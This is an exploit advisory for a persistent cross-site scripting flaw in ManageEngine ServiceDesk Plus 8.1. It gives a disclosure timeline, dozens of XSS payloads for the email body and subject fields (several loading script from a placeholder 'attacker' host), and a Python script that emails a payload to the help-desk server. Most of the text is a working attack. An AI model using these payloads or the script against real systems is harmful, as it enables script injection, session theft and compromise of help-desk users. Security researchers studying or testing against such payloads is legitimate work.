ManageEngine ServiceDesk Plus 8.1 – Persistent Cross-Site Scripting
#!/usr/bin/python ''' Author: loneferret of Offensive Security Product: ManageEngine Service Desk Plus (Windows standard) Version: 8.1 Vendor Site: http://www.manageengine.com Software Download: http://www.manageengine.com/products/service-desk/download.html Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 27 Jul 2012: Vendor requested additional information 30 Jul 2012: Additional proofs of concept provided to vendor 03 Aug 2012: Vendor acknowledged receipt of PoC and declares intent to fix 08 Aug 2012: Public Disclosure 06 Sep 2012: Update from Vendor. Issue fixed in ServiceDesk Plus build 8111. Installed On: Windows Server 2003 SP2 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Internet Explorer 9 Injection Point: Body Injection Payload(s): 1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 2: <SCRIPT>alert('XSS')</SCRIPT> 3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 4: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 5: exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'> 6: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 7: <XSS STYLE="xss:expression(alert('XSS'))"> 8: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT> 9: </TITLE><SCRIPT>alert("XSS");</SCRIPT> 10: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT> 11: <SCRIPT SRC=//attacker/.j> 12: <<SCRIPT>alert("XSS");//<</SCRIPT> 13: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 14: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT> 15: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT> 16: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT> 17: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT> 18: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT> 19: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT> 20: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT> Injection Point: Subject Injection Payload(s): 1: <SCRIPT>alert('XSS')</SCRIPT> 2: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 4: <DIV STYLE="width: expression(alert('XSS'));"> 5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 6: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 7: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> 8: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 9: <XSS STYLE="xss:expression(alert('XSS'))"> 10: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT> 11: </TITLE><SCRIPT>alert("XSS");</SCRIPT> 12: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT> 13: <SCRIPT SRC=http://attacker/xss.js 14: <SCRIPT SRC=//attacker/.j> 15: <IFRAME SRC=http://attacker/scriptlet.html < 16: <<SCRIPT>alert("XSS");//<</SCRIPT> 17: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 18: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT> 19: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT> 20: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT> 21: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT> 22: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT> 23: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT> 24: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT> ''' import smtplib, urllib2 payload = """</TITLE><SCRIPT>alert("XSS");</SCRIPT>""" def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@offsec.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: XSS" + payload + "\n" msg += "Content-type: text/html\n\n" msg += "XSS.\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@offsec.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@offsec.local" smtpsrv = "172.16.84.171" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password) |